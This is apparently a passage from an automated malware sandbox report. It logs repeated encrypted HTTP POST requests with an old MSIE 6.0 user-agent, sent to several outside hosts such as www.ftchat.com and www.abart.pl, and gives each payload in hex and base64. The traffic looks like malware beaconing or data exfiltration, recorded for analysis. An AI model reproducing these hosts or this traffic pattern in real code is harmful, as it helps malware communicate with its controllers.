54 71 72 36 6c 35 2b 2f 56 61 78 36 75 68 73 30 6a 69 48 6b 59 47 75 68 38 58 55 62 2f 32 38 35 77 62 67 73 4e 64 4a 5a 6f 54 76 4f 2f 72 36 68 32 4d 58 79 31 5a 63 66 53 77 73 70 2f 36 72 35 4d 4e 7a 64 6e 54 39 2f 6e 39 49 52 39 33 66 4f 78 73 50 58 56 64 75 77 36 43 6f 4f 6d 31 48 44 58 43 35 67 44 7a 72 44 48 57 36 6a 6b 45 56 69 47 65 37 53 4a 6e 73 63 51 33 35 37 36 31 36 71 69 7a 54 73 69 32 51 42 33 73 6a 64 6f 71 51 71 62 69 50 4e 52 4b 2b 61 30 71 48 53 4e 4d 58 49 6b 57 55 6d 2f 65 79 73 67 37 52 75 57 58 61 78 53 32 47 45 2b 62 43 6f 75 68 47 44 36 47 31 37 4b 56 6e 69 38 4f 51 47 43 49 51 30 78 54 74 6e 51 76 38 65 74 2b 2f 32 4f 49 54 44 4e 6a 66 65 2b 6e 46 38 45 31 5a 35 44 71 79 65 66 62 32 51 34 42 64 75 68 61 63 41 51 4a 4f 7a 75 4d 45 59 65 74 51 51 6d 4a 37 41 45 2b 38 71 63 37 44 74 68 64 70 77 41 47 77 30 67 6a 4d 45 6a 38 53 52 31 52 77 66 75 4e 75 38 44 77 78 36 4e 6c 64 54 6b 66 44 50 6d 44 2b 67 77 54 4e 37 42 69 6f 64 50 77 50 62 4c 4c 4f 34 74 4c 55 56 33 58 32 33 51 70 46 78 7a 46 41 55 30 50 6a 34 38 69 51 70 61 66 32 52 2f 78 65 48 32 2b 4f 52 4e 4b 6d 6f 76 55 61 5a 34 4e 30 61 6b 6c 4c 5a 47 5a 50 4b 44 4e 75 4f 58 75 33 6e 30 49 49 68 63 59 38 2f 43 55 32 4f 31 4c 69 33 32 4d 71 31 41 59 53 43 73 Data Ascii: XqZC7T5IkVWQuWvgCVKmhSEgv1n+BtxHUpTBjbvhnwvICVvTDEPSZqZ6nwDiFr+OEtl7Go7Kzt6T3Q1H7lNfSqt49d46bLwLfEzapqARlewCn1dL1HHNBikd9dl2FMjVYDfxFq5cvz9TyRFTqr6l5+/Vax6uhs0jiHkYGuh8XUb/285wbgsNdJZoTvO/r6h2MXy1ZcfSwsp/6r5MNzdnT9/n9IR93fOxsPXVduw6CoOm1HDXC5gDzrDHW6jkEViGe7SJnscQ357616qizTsi2QB3sjdoqQqbiPNRK+a0qHSNMXIkWUm/eysg7RuWXaxS2GE+bCouhGD6G17KVni8OQGCIQ0xTtnQv8et+/2OITDNjfe+nF8E1Z5Dqyefb2Q4BduhacAQJOzuMEYetQQmJ7AE+8qc7DthdpwAGw0gjMEj8SR1RwfuNu8Dwx6NldTkfDPmD+gwTN7BiodPwPbLLO4tLUV3X23QpFxzFAU0Pj48iQpaf2R/xeH2+ORNKmovUaZ4N0aklLZGZPKDNuOXu3n0IIhcY8/CU2O1Li32Mq1AYSCs
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 536User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.tvtools.fiCache-Control: no-cacheData Raw: 65 31 4c 6c 36 4f 2b 54 62 51 73 4c 39 43 41 37 44 72 42 48 37 50 69 33 47 41 6b 46 44 34 4a 51 6b 32 4a 39 56 79 33 47 55 56 77 2f 6b 71 61 44 70 42 57 6d 75 6d 47 31 66 76 6d 4c 70 52 4c 4a 58 37 65 56 34 4b 5a 64 55 76 73 57 4c 49 34 46 7a 76 41 77 54 6f 38 61 44 72 58 34 4e 6e 2f 4d 6c 79 2f 72 6a 54 42 54 6e 4a 4e 78 35 43 45 78 4c 4d 79 75 64 44 4a 37 54 71 49 33 68 6c 36 4e 73 53 61 6a 2b 4e 70 79 42 45 38 4f 51 34 65 78 48 64 36 33 30 53 39 78 7a 7a 7a 6c 65 5a 72 78 76 44 4a 32 4f 46 56 57 31 4e 6a 42 43 39 59 4f 62 75 72 7a 49 54 43 6d 48 44 4f 50 55 51 74 39 57 6c 48 48 5a 55 4d 2f 37 4b 56 6d 34 44 63 38 36 78 43 77 55 70 68 42 6b 71 67 39 33 47 57 68 4e 49 72 65 30 45 52 54 49 30 4b 76 65 79 66 36 4b 45 46 5a 71 34 7a 4f 51 62 78 46 48 73 68 59 58 67 66 70 37 69 50 55 68 2f 75 39 52 30 67 55 4d 6f 44 71 68 34 43 6b 6c 52 61 55 53 4a 6c 55 74 56 58 33 61 5a 36 57 47 70 56 70 43 65 4a 47 50 4b 69 70 71 51 63 77 79 73 45 75 51 57 33 55 66 7a 6c 70 33 46 6c 73 49 42 42 48 36 2f 54 71 66 33 58 59 68 42 55 45 59 70 61 54 45 65 57 6c 72 4e 32 54 6b 51 62 7a 4c 62 64 30 6c 51 32 4d 50 56 56 42 70 75 73 59 7a 58 5a 75 48 6a 51 31 41 6c 59 62 56 62 4b 70 7a 47 6b 74 56 2b 69 78 50 64 6a 79 66 45 77 73 30 4c 37 53 36 53 43 39 6c 67 62 54 37 57 49 62 6b 54 48 64 5a 58 4d 62 4e 32 7a 5a 39 56 64 6b 5a 4a 79 72 41 5a 6a 5a 7a 50 72 68 2f 38 6d 30 57 49 79 53 34 37 36 6c 77 42 67 59 7a 50 70 63 4e 75 79 6b 72 42 4f 65 6e 51 31 6d 53 75 35 71 7a 75 32 4a 6a 46 72 6e 31 30 57 76 75 73 33 31 75 45 43 6d 66 39 67 38 78 33 35 5a 64 79 76 44 37 61 38 54 62 6f 37 6b 33 4b 35 41 38 4a 38 3d Data Ascii: e1Ll6O+TbQsL9CA7DrBH7Pi3GAkFD4JQk2J9Vy3GUVw/kqaDpBWmumG1fvmLpRLJX7eV4KZdUvsWLI4FzvAwTo8aDrX4Nn/Mly/rjTBTnJNx5CExLMyudDJ7TqI3hl6NsSaj+NpyBE8OQ4exHd630S9xzzzleZrxvDJ2OFVW1NjBC9YOburzITCmHDOPUQt9WlHHZUM/7KVm4Dc86xCwUphBkqg93GWhNIre0ERTI0Kveyf6KEFZq4zOQbxFHshYXgfp7iPUh/u9R0gUMoDqh4CklRaUSJlUtVX3aZ6WGpVpCeJGPKipqQcwysEuQW3Ufzlp3FlsIBBH6/Tqf3XYhBUEYpaTEeWlrN2TkQbzLbd0lQ2MPVVBpusYzXZuHjQ1AlYbVbKpzGktV+ixPdjyfEws0L7S6SC9lgbT7WIbkTHdZXMbN2zZ9VdkZJyrAZjZzPrh/8m0WIyS476lwBgYzPpcNuykrBOenQ1mSu5qzu2JjFrn10Wvus31uECmf9g8x35ZdyvD7a8Tbo7k3K5A8J8=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.item-pr.comCache-Control: no-cacheData Raw: 46 6f 31 74 2b 5a 70 74 64 67 73 4c 48 5a 6c 58 76 65 41 6e 74 64 33 5a 6b 54 65 4b 72 65 79 6b 62 76 6d 39 50 63 53 6a 33 62 6f 6e 70 2f 64 53 47 63 5a 63 6a 7a 50 47 73 7a 35 31 42 37 53 61 47 6f 53 57 4d 50 78 59 4b 49 6e 6c 39 32 46 36 58 37 72 32 4e 53 33 69 78 61 52 4b 53 76 67 69 79 4f 4d 33 52 50 52 78 70 69 77 48 52 52 6a 4f 57 35 45 46 30 72 79 37 69 37 71 77 78 44 68 66 7a 73 38 44 58 74 33 4d 39 45 32 37 64 4a 50 79 72 64 48 35 54 64 66 35 6d 35 38 36 2b 39 44 71 34 36 57 5a 63 30 5a 38 55 4a 6c 71 51 79 39 55 6e 36 30 42 44 4c 64 4c 76 67 70 4e 6b 56 6e 36 42 50 47 67 32 39 57 38 55 47 53 77 4a 53 65 44 37 72 4d 61 4a 55 6e 32 4f 55 47 74 34 56 54 4d 62 4f 33 6a 77 51 78 78 61 79 55 53 57 55 52 56 42 31 51 61 72 58 48 70 6c 58 6b 34 53 53 79 63 63 6d 4f 57 30 2f 66 4a 76 48 4b 45 2b 72 6b 75 6d 51 4e 58 39 39 51 76 35 33 6e 43 66 43 45 47 6b 66 4e 4f 4a 4b 6f 5a 36 79 68 70 34 56 43 63 37 42 2f 37 74 73 72 37 53 43 49 47 55 6b 66 63 48 49 45 69 52 70 63 66 78 67 35 37 64 76 34 58 50 75 45 31 4c 65 4f 41 6c 6e 4f 33 75 4c 6e 67 41 4b 6f 75 50 62 35 32 41 69 51 35 31 37 4b 31 43 66 65 4f 75 41 76 4d 65 51 54 73 79 69 4d 73 56 33 33 79 72 76 62 33 68 38 71 43 48 44 52 76 44 54 70 4f 75 4f 7a 32 68 2f 43 62 4d 55 38 4b 71 6e 6d 6d 64 51 6b 49 52 4a 76 45 67 49 30 4e 32 33 57 69 49 30 59 63 65 64 4c 58 6d 54 64 66 51 42 52 2f 70 4c 64 4d 76 7a 51 39 68 4b 5a 31 41 6e 54 41 44 2b 69 63 6f 6f 48 58 44 2b 66 79 38 6d 37 4d 2b 37 42 5a 54 59 54 68 58 75 41 39 53 49 68 72 6f 77 47 59 43 36 6c 4f 57 7a 68 44 43 4f 38 30 79 59 7a 58 44 73 71 31 4b 6c 6d 66 48 2b 34 67 74 56 49 4a 50 5a 74 54 41 57 6e 72 55 5a 5a 46 64 4c 79 30 6f 33 6f 36 4c 6e 67 3d Data Ascii: Fo1t+ZptdgsLHZlXveAntd3ZkTeKreykbvm9PcSj3bonp/dSGcZcjzPGsz51B7SaGoSWMPxYKInl92F6X7r2NS3ixaRKSvgiyOM3RPRxpiwHRRjOW5EF0ry7i7qwxDhfzs8DXt3M9E27dJPyrdH5Tdf5m586+9Dq46WZc0Z8UJlqQy9Un60BDLdLvgpNkVn6BPGg29W8UGSwJSeD7rMaJUn2OUGt4VTMbO3jwQxxayUSWURVB1QarXHplXk4SSyccmOW0/fJvHKE+rkumQNX99Qv53nCfCEGkfNOJKoZ6yhp4VCc7B/7tsr7SCIGUkfcHIEiRpcfxg57dv4XPuE1LeOAlnO3uLngAKouPb52AiQ517K1CfeOuAvMeQTsyiMsV33yrvb3h8qCHDRvDTpOuOz2h/CbMU8KqnmmdQkIRJvEgI0N23WiI0YcedLXmTdfQBR/pLdMvzQ9hKZ1AnTAD+icooHXD+fy8m7M+7BZTYThXuA9SIhrowGYC6lOWzhDCO80yYzXDsq1KlmfH+4gtVIJPZtTAWnrUZZFdLy0o3o6Lng=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ftchat.comCache-Control: no-cacheData Raw: 57 6d 5a 6c 45 6e 4e 32 6a 67 71 35 6f 58 72 45 75 73 6b 58 47 68 79 74 46 62 44 5a 44 53 50 72 56 34 76 6e 4f 57 35 39 48 39 4a 2b 72 61 48 51 34 66 31 43 6b 2f 59 33 37 48 64 59 7a 35 64 6a 2b 4b 59 4e 67 59 34 79 53 53 6c 71 43 47 6d 4c 72 4c 64 65 72 48 6a 6e 77 76 55 55 68 58 75 30 4d 43 48 66 6a 72 6f 73 45 6a 4c 76 61 42 35 69 37 74 58 6b 6a 58 5a 54 63 7a 68 78 59 69 69 44 78 44 61 43 6b 51 52 47 30 47 71 6d 32 76 78 67 41 7a 78 30 5a 4e 59 50 51 32 63 72 35 62 49 74 72 70 2b 58 41 75 76 41 73 73 77 78 42 46 71 61 6f 77 6c 41 62 4a 38 69 32 65 48 74 36 2b 39 6f 58 38 72 45 56 36 4b 39 78 67 67 66 5a 4a 35 4a 75 42 4a 35 6a 6a 41 4d 4e 61 36 6d 43 42 6c 56 59 2b 59 55 33 78 47 72 56 76 64 5a 37 2f 55 2f 31 71 75 41 78 49 38 48 2b 6d 2f 42 56 4c 57 34 4a 56 39 7a 4d 69 76 42 76 42 46 58 30 2f 32 30 68 66 4d 46 53 69 77 57 46 72 48 58 71 30 6a 4e 6c 35 36 79 69 76 39 66 5a 57 6e 52 4a 71 73 31 45 45 45 52 45 43 71 67 75 6f 61 37 70 74 7a 56 54 67 78 53 50 54 47 47 74 72 73 63 64 65 2b 37 73 42 66 74 47 73 33 43 37 55 2b 7a 4a 56 57 76 6d 6b 56 33 41 75 76 2b 73 31 51 4a 36 54 39 6e 4e 72 74 44 78 57 76 67 6c 2b 63 32 34 4f 6a 49 6d 37 34 4e 48 33 48 76 5a 39 72 6b 6a 79 59 58 7a 4e 39 59 46 36 56 65 66 4e 6f 30 36 76 37 58 57 78 51 52 34 61 41 62 54 53 43 38 6c 79 44 79 4d 38 73 43 56 73 4b 76 55 73 45 5a 64 54 36 49 52 76 75 4b 54 5a 63 46 47 76 67 64 45 77 50 75 30 33 2f 4f 61 41 45 74 66 4a 64 7a 52 46 49 77 4e 4e 36 46 34 71 71 55 45 67 2b 6c 31 5a 6b 4b 30 58 6b 70 6f 52 6b 65 39 51 36 6c 58 4c 6b 76 65 35 37 75 41 31 4e 71 5a 53 4e 72 6e 4a 4f 4a 44 69 58 51 30 6e 36 46 67 78 66 65 73 62 6b 77 5a 48 36 4e 50 68 55 78 51 70 66 34 37 71 66 30 33 49 37 64 76 41 3d 3d Data Ascii: WmZlEnN2jgq5oXrEuskXGhytFbDZDSPrV4vnOW59H9J+raHQ4f1Ck/Y37HdYz5dj+KYNgY4ySSlqCGmLrLderHjnwvUUhXu0MCHfjrosEjLvaB5i7tXkjXZTczhxYiiDxDaCkQRG0Gqm2vxgAzx0ZNYPQ2cr5bItrp+XAuvAsswxBFqaowlAbJ8i2eHt6+9oX8rEV6K9xggfZJ5JuBJ5jjAMNa6mCBlVY+YU3xGrVvdZ7/U/1quAxI8H+m/BVLW4JV9zMivBvBFX0/20hfMFSiwWFrHXq0jNl56yiv9fZWnRJqs1EEERECqguoa7ptzVTgxSPTGGtrscde+7sBftGs3C7U+zJVWvmkV3Auv+s1QJ6T9nNrtDxWvgl+c24OjIm74NH3HvZ9rkjyYXzN9YF6VefNo06v7XWxQR4aAbTSC8lyDyM8sCVsKvUsEZdT6IRvuKTZcFGvgdEwPu03/OaAEtfJdzRFIwNN6F4qqUEg+l1ZkK0XkpoRke9Q6lXLkve57uA1NqZSNrnJOJDiXQ0n6FgxfesbkwZH6NPhUxQpf47qf03I7dvA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 596User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.nunomira.comCache-Control: no-cacheData Raw: 46 53 69 57 72 38 6a 72 4a 46 5a 75 36 43 31 42 43 35 7a 49 57 44 75 79 4b 2f 5a 51 61 6f 68 61 66 50 4d 73 51 46 5a 31 33 46 57 5a 45 59 4d 2f 4c 55 2f 44 7a 32 5a 5a 4d 70 32 69 35 79 51 63 66 6e 6b 6f 32 41 76 68 56 67 56 79 6c 31 46 47 7a 72 4b 4f 32 6e 51 63 36 61 69 79 58 59 30 6b 4e 36 75 75 66 37 70 57 48 45 6c 61 39 79 52 30 53 4b 48 6a 35 65 2f 78 49 38 67 4b 62 62 69 51 34 77 4d 72 64 38 4d 41 70 57 4e 78 32 70 6f 53 41 79 61 36 63 41 64 45 51 57 32 77 51 78 77 58 6d 7a 74 78 6a 50 78 65 70 51 58 68 70 55 71 74 61 56 4a 4d 6b 59 55 65 4a 41 6a 4e 32 46 52 44 5a 70 49 68 7a 67 33 62 4d 45 6a 2f 43 6a 66 6b 44 74 45 46 74 64 32 57 46 4d 32 56 55 2b 4a 6a 77 38 48 4c 69 67 2f 6c 58 64 50 57 42 59 69 4a 77 68 41 39 46 61 49 6e 32 54 5a 30 6c 45 57 38 78 6a 73 70 46 70 39 61 76 68 6b 72 33 68 51 35 2f 76 5a 7a 4b 6b 5a 57 44 71 35 37 75 71 33 79 33 36 63 79 5a 30 74 6b 52 2f 4e 41 58 79 4b 5a 52 64 75 70 35 47 5a 55 41 53 68 76 44 56 63 71 36 61 44 6f 4f 50 66 30 59 4a 68 41 61 79 71 45 4c 77 75 48 57 56 36 46 75 68 52 31 75 4d 57 68 54 4f 4c 31 6c 46 70 2b 46 49 30 63 66 76 74 77 37 63 4c 55 63 6f 74 52 4d 4d 43 66 70 48 46 6d 32 4f 7a 31 73 2f 4b 38 34 44 54 64 4b 61 4d 6f 2b 31 4a 75 52 46 48 76 4e 38 54 37 69 4d 56 78 54 68 78 72 42 48 66 44 45 6b 35 6c 65 41 66 47 52 5a 49 39 50 74 74 42 2f 36 57 6e 55 32 67 4c 6a 36 76 53 6a 74 58 4f 39 36 58 57 6e 6f 4c 56 6a 62 54 58 4b 58 62 51 30 6c 55 44 4b 4e 74 62 51 6c 67 34 69 6b 52 4f 33 4e 78 68 2b 64 50 57 4b 4c 71 30 62 64 39 31 41 4c 6e 49 64 31 39 34 6a 59 57 69 53 43 64 55 56 6b 79 68 41 42 59 70 77 69 69 6e 45 45 62 47 4c 7a 46 47 75 76 46 65 72 63 77 63 4a 76 6c 43 41 4e 69 53 59 74 66 4a 6e 5a 79 4e 54 61 6d 78 73 78 4a 44 63 52 76 4f 39 42 52 32 68 47 4c 4d 79 4d 56 56 41 56 76 73 6f 78 75 4a Data Ascii: FSiWr8jrJFZu6C1BC5zIWDuyK/ZQaohafPMsQFZ13FWZEYM/LU/Dz2ZZMp2i5yQcfnko2AvhVgVyl1FGzrKO2nQc6aiyXY0kN6uuf7pWHEla9yR0SKHj5e/xI8gKbbiQ4wMrd8MApWNx2poSAya6cAdEQW2wQxwXmztxjPxepQXhpUqtaVJMkYUeJAjN2FRDZpIhzg3bMEj/CjfkDtEFtd2WFM2VU+Jjw8HLig/lXdPWBYiJwhA9FaIn2TZ0lEW8xjspFp9avhkr3hQ5/vZzKkZWDq57uq3y36cyZ0tkR/NAXyKZRdup5GZUAShvDVcq6aDoOPf0YJhAayqELwuHWV6FuhR1uMWhTOL1lFp+FI0cfvtw7cLUcotRMMCfpHFm2Oz1s/K84DTdKaMo+1JuRFHvN8T7iMVxThxrBHfDEk5leAfGRZI9PttB/6WnU2gLj6vSjtXO96XWnoLVjbTXKXbQ0lUDKNtbQlg4ikRO3Nxh+dPWKLq0bd91ALnId194jYWiSCdUVkyhABYpwiinEEbGLzFGuvFercwcJvlCANiSYtfJnZyNTamxsxJDcRvO9BR2hGLMyMVVAVvsoxuJ
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.mqs.com.brCache-Control: no-cacheCookie: _mcnc=1; __goc_session__=lafcfcoaucmfvhcxntzzjciukguenwvsData Raw: 65 79 6e 48 59 6a 2f 59 63 31 57 4f 42 34 76 7a 48 67 69 68 32 63 69 4d 53 45 6d 56 49 61 50 50 34 77 4e 2b 42 6c 4e 43 59 32 2b 43 4a 50 31 73 34 74 38 34 38 42 76 66 4c 72 61 68 71 70 4e 64 69 61 4a 6f 79 71 65 79 4b 6c 34 63 79 6e 37 33 46 7a 4c 33 77 2f 53 46 79 33 7a 38 35 37 76 2f 4b 47 79 32 78 31 47 79 6e 42 68 45 6b 66 64 50 37 4d 5a 57 6f 68 67 67 33 55 66 67 39 5a 57 4b 71 61 4d 6f 32 79 68 59 52 55 77 7a 42 50 4c 51 58 4d 47 53 67 55 36 6c 56 64 6a 73 77 42 71 53 54 42 6e 6e 6d 59 4e 33 67 6e 67 36 69 45 70 4d 4e 31 55 62 32 6d 61 59 50 38 51 31 52 76 6a 30 6e 65 63 59 6c 6c 42 5a 62 5a 70 49 71 75 68 45 7a 6f 62 74 4b 57 4d 38 62 39 62 79 30 6d 4e 45 63 52 73 47 65 74 54 71 6a 55 64 41 70 37 49 4f 6d 30 46 78 45 47 54 50 68 4b 57 66 6f 5a 52 44 35 4e 69 6c 74 4d 77 2f 2b 4a 61 53 73 36 36 6d 73 33 77 67 4b 4a 36 5a 35 58 59 31 59 66 6b 42 42 67 30 61 34 49 59 66 44 39 78 73 32 6d 45 67 59 78 45 49 4d 51 70 43 31 6d 54 45 55 43 55 51 54 32 6c 46 4b 72 5a 33 5a 33 74 67 73 5a 43 49 4f 2f 41 47 7a 65 66 39 4a 70 79 66 67 77 6d 36 30 41 57 41 49 78 69 4f 4d 54 35 73 43 5a 77 31 30 48 36 38 68 6f 6e 50 69 54 64 52 64 67 41 74 67 69 4a 30 78 66 50 73 77 44 58 44 54 6d 57 67 50 46 78 4b 57 69 50 72 52 67 65 33 74 76 75 65 71 4e 2b 78 78 44 64 53 56 6f 57 37 65 41 6b 77 4f 6c 48 55 6d 68 32 78 61 4f 67 52 48 78 30 78 4b 79 34 53 57 43 77 4b 71 4a 65 52 4e 6a 5a 6d 6b 74 4e 51 6e 6a 72 70 59 72 37 34 55 52 46 58 66 41 47 46 66 44 45 4e 63 6d 4f 75 42 51 74 75 79 78 6e 6c 47 5a 61 33 71 31 73 67 55 6d 35 77 58 50 78 59 7a 77 75 63 4a 4e 4b 6f 4b 4b 77 68 6d 54 37 7a 62 51 67 45 6a 30 4e 5a 59 4e 45 55 4f 44 32 36 73 30 58 72 2b 65 63 71 55 67 2b 4e 79 39 55 35 57 6f 78 64 56 72 50 79 74 68 2f 33 56 47 76 35 34 67 3d 3d Data Ascii: eynHYj/Yc1WOB4vzHgih2ciMSEmVIaPP4wN+BlNCY2+CJP1s4t848BvfLrahqpNdiaJoyqeyKl4cyn73FzL3w/SFy3z857v/KGy2x1GynBhEkfdP7MZWohgg3Ufg9ZWKqaMo2yhYRUwzBPLQXMGSgU6lVdjswBqSTBnnmYN3gng6iEpMN1Ub2maYP8Q1Rvj0necYllBZbZpIquhEzobtKWM8b9by0mNEcRsGetTqjUdAp7IOm0FxEGTPhKWfoZRD5NiltMw/+JaSs66ms3wgKJ6Z5XY1YfkBBg0a4IYfD9xs2mEgYxEIMQpC1mTEUCUQT2lFKrZ3Z3tgsZCIO/AGzef9Jpyfgwm60AWAIxiOMT5sCZw10H68honPiTdRdgAtgiJ0xfPswDXDTmWgPFxKWiPrRge3tvueqN+xxDdSVoW7eAkwOlHUmh2xaOgRHx0xKy4SWCwKqJeRNjZmktNQnjrpYr74URFXfAGFfDENcmOuBQtuyxnlGZa3q1sgUm5wXPxYzwucJNKoKKwhmT7zbQgEj0NZYNEUOD26s0Xr+ecqUg+Ny9U5WoxdVrPyth/3VGv54g==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ftchat.comCache-Control: no-cacheData Raw: 57 6d 5a 6c 45 6e 4e 32 6a 67 71 35 6f 58 72 45 75 73 6b 58 47 68 79 74 46 62 44 5a 44 53 50 72 56 34 76 6e 4f 57 35 39 48 39 4a 2b 72 61 48 51 34 66 31 43 6b 2f 59 33 37 48 64 59 7a 35 64 6a 2b 4b 59 4e 67 59 34 79 53 53 6c 71 43 47 6d 4c 72 4c 64 65 72 48 6a 6e 77 76 55 55 68 58 75 30 4d 43 48 66 6a 72 6f 73 45 6a 4c 76 61 42 35 69 37 74 58 6b 6a 58 5a 54 63 7a 68 78 59 69 69 44 78 44 61 43 6b 51 52 47 30 47 71 6d 32 76 78 67 41 7a 78 30 5a 4e 59 50 51 32 63 72 35 62 49 74 72 70 2b 58 41 75 76 41 73 73 77 78 42 46 71 61 6f 77 6c 41 62 4a 38 69 32 65 48 74 36 2b 39 6f 58 38 72 45 56 36 4b 39 78 67 67 66 5a 4a 35 4a 75 42 4a 35 6a 6a 41 4d 4e 61 36 6d 43 42 6c 56 59 2b 59 55 33 78 47 72 56 76 64 5a 37 2f 55 2f 31 71 75 41 78 49 38 48 2b 6d 2f 42 56 4c 57 34 4a 56 39 7a 4d 69 76 42 76 42 46 58 30 2f 32 30 68 66 4d 46 53 69 77 57 46 72 48 58 71 30 6a 4e 6c 35 36 79 69 76 39 66 5a 57 6e 52 4a 71 73 31 45 45 45 52 45 43 71 67 75 6f 61 37 70 74 7a 56 54 67 78 53 50 54 47 47 74 72 73 63 64 65 2b 37 73 42 66 74 47 73 33 43 37 55 2b 7a 4a 56 57 76 6d 6b 56 33 41 75 76 2b 73 31 51 4a 36 54 39 6e 4e 72 74 44 78 57 76 67 6c 2b 63 32 34 4f 6a 49 6d 37 34 4e 48 33 48 76 5a 39 72 6b 6a 79 59 58 7a 4e 39 59 46 36 56 65 66 4e 6f 30 36 76 37 58 57 78 51 52 34 61 41 62 54 53 43 38 6c 79 44 79 4d 38 73 43 56 73 4b 76 55 73 45 5a 64 54 36 49 52 76 75 4b 54 5a 63 46 47 76 67 64 45 77 50 75 30 33 2f 4f 61 41 45 74 66 4a 64 7a 52 46 49 77 4e 4e 36 46 34 71 71 55 45 67 2b 6c 31 5a 6b 4b 30 58 6b 70 6f 52 6b 65 39 51 36 6c 58 4c 6b 76 65 35 37 75 41 31 4e 71 5a 53 4e 72 6e 4a 4f 4a 44 69 58 51 30 6e 36 46 67 78 66 65 73 62 6b 77 5a 48 36 4e 50 68 55 78 51 70 66 34 37 71 66 30 33 49 37 64 76 41 3d 3d Data Ascii: WmZlEnN2jgq5oXrEuskXGhytFbDZDSPrV4vnOW59H9J+raHQ4f1Ck/Y37HdYz5dj+KYNgY4ySSlqCGmLrLderHjnwvUUhXu0MCHfjrosEjLvaB5i7tXkjXZTczhxYiiDxDaCkQRG0Gqm2vxgAzx0ZNYPQ2cr5bItrp+XAuvAsswxBFqaowlAbJ8i2eHt6+9oX8rEV6K9xggfZJ5JuBJ5jjAMNa6mCBlVY+YU3xGrVvdZ7/U/1quAxI8H+m/BVLW4JV9zMivBvBFX0/20hfMFSiwWFrHXq0jNl56yiv9fZWnRJqs1EEERECqguoa7ptzVTgxSPTGGtrscde+7sBftGs3C7U+zJVWvmkV3Auv+s1QJ6T9nNrtDxWvgl+c24OjIm74NH3HvZ9rkjyYXzN9YF6VefNo06v7XWxQR4aAbTSC8lyDyM8sCVsKvUsEZdT6IRvuKTZcFGvgdEwPu03/OaAEtfJdzRFIwNN6F4qqUEg+l1ZkK0XkpoRke9Q6lXLkve57uA1NqZSNrnJOJDiXQ0n6FgxfesbkwZH6NPhUxQpf47qf03I7dvA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.abart.plCache-Control: no-cacheData Raw: 39 70 66 32 65 69 4c 55 74 41 74 64 2b 53 65 7a 6c 55 56 31 6d 4b 56 70 58 48 4f 79 71 67 64 75 64 6f 7a 69 37 55 54 57 32 70 5a 51 4e 44 37 76 34 54 4f 6a 75 72 73 38 6c 63 6a 34 39 5a 59 63 6c 61 50 4f 79 6d 69 70 46 74 75 58 4f 46 6a 78 48 55 31 58 71 4e 44 68 2f 48 53 72 7a 39 43 67 32 4f 6f 77 72 72 35 4b 67 62 54 31 4d 75 50 71 6b 6e 56 52 6c 36 49 78 4a 4d 71 66 2b 43 36 78 36 53 51 2f 7a 70 42 73 70 4a 4a 33 47 32 43 6a 6a 57 4a 31 64 55 6d 74 7a 44 4f 39 37 53 52 4e 79 53 43 73 73 42 38 52 46 61 62 59 7a 48 30 56 30 4a 51 64 57 54 6d 63 45 72 68 33 5a 53 39 35 4e 38 56 56 6e 51 41 79 31 49 62 73 37 6e 52 33 65 4e 61 73 43 4a 6e 6d 6b 61 4d 4c 5a 39 75 35 6b 52 75 30 69 39 5a 2b 57 75 6a 43 2b 53 42 7a 69 75 48 62 52 49 52 73 4d 32 73 59 6a 37 37 63 7a 47 51 7a 52 4c 2f 61 6b 72 77 59 64 73 57 45 4c 55 73 45 2b 70 5a 68 69 75 6d 6e 42 72 69 51 76 4d 72 64 77 51 42 36 6e 49 38 63 64 57 39 71 6f 57 65 55 41 4c 4b 61 79 54 77 4c 78 44 70 6d 42 50 71 41 2b 77 71 59 71 46 54 32 45 37 6b 72 4c 34 72 4f 38 32 4e 52 2b 37 55 45 7a 64 4f 6b 38 68 78 58 32 6a 69 68 59 53 51 70 63 73 6e 4a 77 72 6c 70 4a 2b 7a 77 79 71 31 30 77 5a 66 54 72 4a 73 36 37 44 31 6c 54 35 31 56 38 50 58 4f 39 49 4e 49 5a 56 52 4e 47 76 6b 4f 70 37 45 56 43 65 6e 78 6d 44 74 37 2b 54 66 48 6f 52 37 59 37 73 76 77 45 46 6f 65 4f 4d 39 35 67 48 57 4d 67 51 4e 64 59 66 74 32 36 4a 31 67 67 35 45 53 45 79 67 5a 70 56 66 49 75 7a 43 7a 51 52 72 2f 77 4e 30 38 65 6b 6d 49 79 6c 6e 4e 56 65 69 53 51 30 6c 4c 38 66 30 75 43 62 5a 45 66 64 6a 37 67 6a 36 6c 6a 6e 32 76 52 57 6c 7a 37 55 65 6e 5a 38 54 53 53 57 6e 5a 74 6a 79 50 7a 54 47 48 65 42 55 31 45 7a 62 6f 64 45 38 6e 33 51 33 6c 53 36 30 3d Data Ascii: 